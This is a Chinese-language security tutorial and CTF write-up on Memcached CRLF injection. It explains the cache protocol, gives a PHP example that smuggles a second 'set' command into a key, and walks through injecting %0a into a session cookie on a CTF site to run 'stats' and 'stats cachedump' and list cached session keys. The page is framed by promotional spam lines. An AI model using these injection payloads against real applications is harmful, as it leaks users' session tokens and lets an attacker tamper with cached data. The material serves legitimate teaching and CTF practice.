清華大佬耗費三個月吐血整理的幾百G的資源,免費分享!....>>>
0x00 寫在前面
wooyun主站也有過Memcached相關(guān)漏洞,但大多都是未授權(quán)訪問,其實即使是部署得當(dāng)?shù)腗emcached,如果碰上安全意識差的程序員哥哥,那么同樣會出現(xiàn)Memcached安全風(fēng)險,導(dǎo)致敏感內(nèi)存泄露。
也就是本文要說的Memcached注入
0x01 Memcached簡介&安全性分析
Memcached 是一個高性能的分布式內(nèi)存對象緩存系統(tǒng),用于動態(tài)Web應(yīng)用以減輕數(shù)據(jù)庫負載。
它通過在內(nèi)存中緩存數(shù)據(jù)和對象來減少讀取數(shù)據(jù)庫的次數(shù),從而提高動態(tài)、數(shù)據(jù)庫驅(qū)動網(wǎng)站的速度。
用白話就是說,當(dāng)傳統(tǒng)web將訪問產(chǎn)生的臨時數(shù)據(jù)存儲在后端數(shù)據(jù)庫(如user sessions),部署了Memcached的應(yīng)用會將user sessions以及其他一些敏感信息存儲在RAM中,增速同時也減輕后端數(shù)據(jù)庫反復(fù)查詢帶來的負載。
Memcached創(chuàng)建者Dormando很早就寫過兩篇文章,告誡開發(fā)人員不要用memcached存儲Session。但是很多開發(fā)者為了性能或者其他原因,依舊把session存儲在memcached中。這樣做,一旦memcached被攻擊,直接將導(dǎo)致管理員或者是用戶token泄露。
0x02 Memcached協(xié)議
當(dāng)Memcache被部署之后,我們該如何向其中添加數(shù)據(jù)?我們通過一個cheat sheet了解一下Memcached的協(xié)議。
Memcached的語法由如下元素組成
{COMMAND}0x20{ARGUMENT}(LF|CRLF)
command字段有如下幾條命令
- 存儲操作(set, add, replace, append, prepend, cas)
- 檢索操作 (get, gets)
- 刪除操作 (delete)
- 增減操作 (incr, decr)
- touch
- slabs reassign
- slabs automove
- lru_crawler
- 統(tǒng)計操作(stats items, slabs, cachedump)
- 其他操作 (version, flush_all, quit)
下面給出幾個安全測試中有用的命令
Command | 描述 | 實例 |
get | 讀某個值 | get mykey |
set | 強制設(shè)置某個鍵值 | set mykey 0 60 5 |
add | 添加新鍵值對 | add newkey 0 60 5 |
replace | 覆蓋已經(jīng)存在的key | replace key 0 60 5 |
flush_all | 讓所有條目失效 | flush_all |
stats | 打印當(dāng)前狀態(tài) | stats |
stats malloc | 打印內(nèi)存狀態(tài) | stats malloc |
version | 打印Memcached版本 | version |
stats cachedump 讀取內(nèi)存中存儲的條目
0x03 Memcached代碼實現(xiàn)
部署好Memcached之后,一個調(diào)用Memcached的php代碼是這樣的。
#!php <?php $m = new Memcached(); $m->set("prefix_".$_GET[‘key’],"data");
為了體現(xiàn)漏洞的產(chǎn)生,我想這樣寫
#!php <?php $m = new Memcached(); $m->addServer('localhost', 11211); $m->set("key1 0 0 1\r\n1\r\nset injected 0 3600 10\r\n1234567890\r\n","1234567890",30); ?>
set("key1 0 0 1\r\n1\r\nset injected 0 3600 10\r\n1234567890\r\n","1234567890",30)
是的,這里也就能看到問題。
執(zhí)行剛剛的命令的時候,server和client的通信是這樣的(>表示發(fā)送到Memcached ,<表示從Memcached的返回)
> set key 0 0 1 > 1 < STORED > set injected 0 3600 10 > 1234567890 < STORED > 0 30 10 < ERROR > 1234567890 < ERROR
可以看到,對Memcached的協(xié)議來講,\r\n是可以用來分割命令的,所以說,我們能直接通過CLRF注入,將\r\n注入到將要傳入Memcached的元素中(例如cookies),實現(xiàn)命令執(zhí)行。
0x04 Memcache Injection實例
最近的一次ctf中,有一個典型的基于CLRF的Memcache注入。(目前該站可以訪問)
http://login2.chal.mmactf.link/login
login as admin
登錄之后的請求是這樣的
GET / HTTP/1.1 Host: login2.chal.mmactf.link User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/ 20100101 Firefox/38.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://login2.chal.mmactf.link/login Cookie: ss=c4a613cdf3378b458be9a6d8de6c52c6ab260d1ee5c2d94df6fe260e580b16bb Connection: keep-alive
在測試http頭注入的時候,我們發(fā)現(xiàn)將%0a注入到cookies中時,也就是請求:
Cookie: ss=%0ac4a613cdf3378b458be9a6d8de6c52c6ab260d1ee5c2d94df6fe260e580b16bb
返回如下
</div> <div id="info"> <p>MemcacheError:ERROR ERROR</p> </div> </body> </html>
恩,memcached出錯了,那不就是剛剛提到的error嗎?
> 1234567890 < ERROR
說明這里ss的value代入了memcached。
我們繼續(xù)在cookies里面注入:ss=%0astats
MemcacheError:ERROR STAT pid 988 STAT uptime 651664 STAT time 1442726665 STAT version 1.4.14 (Ubuntu) STAT libevent 2.0.21-stable STAT pointer_size 64 STAT rusage_user 17.256000 STAT rusage_system 18.232000 STAT curr_connections 5 STAT total_connections 946 STAT connection_structures 6 STAT reserved_fds 20 STAT cmd_get 615 STAT cmd_set 188 STAT cmd_flush 0 STAT cmd_touch 0 STAT get_hits 299 STAT get_misses 316 STAT delete_misses 0 STAT delete_hits 42 STAT incr_misses 0 STAT incr_hits 0 STAT decr_misses 0 STAT decr_hits 0 STAT cas_misses 0 STAT cas_hits 0 STAT cas_badval 0 STAT touch_hits 0 STAT touch_misses 0 STAT auth_cmds 0 STAT auth_errors 0 STAT bytes_read 54350 STAT bytes_written 86307 STAT limit_maxbytes 67108864 STAT accepting_conns 1 STAT listen_disabled_num 0 STAT threads 4 STAT conn_yields 0 STAT hash_power_level 16 STAT hash_bytes 524288 STAT hash_is_expanding 0 STAT expired_unfetched 15 STAT evicted_unfetched 0 STAT bytes 1137 STAT curr_items 8 STAT total_items 153 STAT evictions 0 STAT reclaimed 96 END
果然返回了memcached的stats
現(xiàn)在來做我們最想做的一件事情,dump內(nèi)存中的東西看看:我們利用cachedump
stats cachedump {slab class} {number of items to dump}
這里需要介紹下 memcached是以slab class進行分類的 比如:
$ memcached -vv slab class 1: chunk size 96 perslab 10922 slab class 2: chunk size 120 perslab 8738 slab class 3: chunk size 152 perslab 6898 slab class 4: chunk size 192 perslab 5461
我們可以看到每個class的編排
所以我們每一個都dump出來看看才好:
Cookie: %0astats cachedump 1 1000
返回為
MemcacheError:ERROR ITEM key [1 b; 1441762228 s] ITEM 12345 [20 b; 1441494967 s] END
當(dāng)我遍歷到class 3的時候:
Cookie: %0astats cachedump 3 1000 MemcacheError:ERROR ITEM 3f063d8659f0f08c4454554294aca59bbe42cc6e11db23eb69f5a1c0a9486aa1 [19 b; 1442016274 s] ITEM 0e9d0aecea498b15ee63d38dd4664dcfc75be0846ec4baee931b45a04462eeab [20 b; 1441494967 s] ITEM 09cf27be606344f29bda74bd7c035e6d862c95025a2a6bb1785c8883ae65b18a [16 b; 1441494967 s] ITEM b33542ed3c8bf5c2c346e26aac28a10055fa6a50c4948873810798e9f4cfca98 [20 b; 1441494967 s] ITEM e391306f6481940ab3c796eb1253435b06e9a9357227de734b0ec3f58bd14d7f [19 b; 1442011213 s] ITEM c706b288065ad5c29153d8773c3e3be6e8a07408cdf4e0e40e97917896e43839 [19 b; 1442012877 s] ITEM a5e754e6e804bf7e49f8096242a6566cc337b06aa6c2dafda3f86edccf8cb4b3 [19 b; 1442011191 s] ITEM edf938c33d05ff9f8696415d5ef817014a5cc2906abe24576fdafe8ae58dde48 [19 b; 1442010879 s] ITEM 5f7d07e310e9fad574d0975741a9c05d0d75d7157ce9bb9546b7f58d940cee7a [19 b; 1442006048 s] ITEM 3d1a32800a501fe7387287ba4631ae9318206ef96083a29f35fd1ef42f7a85c5 [19 b; 1441998916 s]
終于注入到我們所需要的class中去。
0x05 參考
Memcache cheat sheet: http://lzone.de/cheat-sheet/memcached
Memcached Injection: https://www.blackhat.com/docs/us-14/materials/us-14-Novikov-The-New-Page-Of-Injections-Book-Memcached-Injections-WP.pdf
掃碼二維碼 獲取免費視頻學(xué)習(xí)資料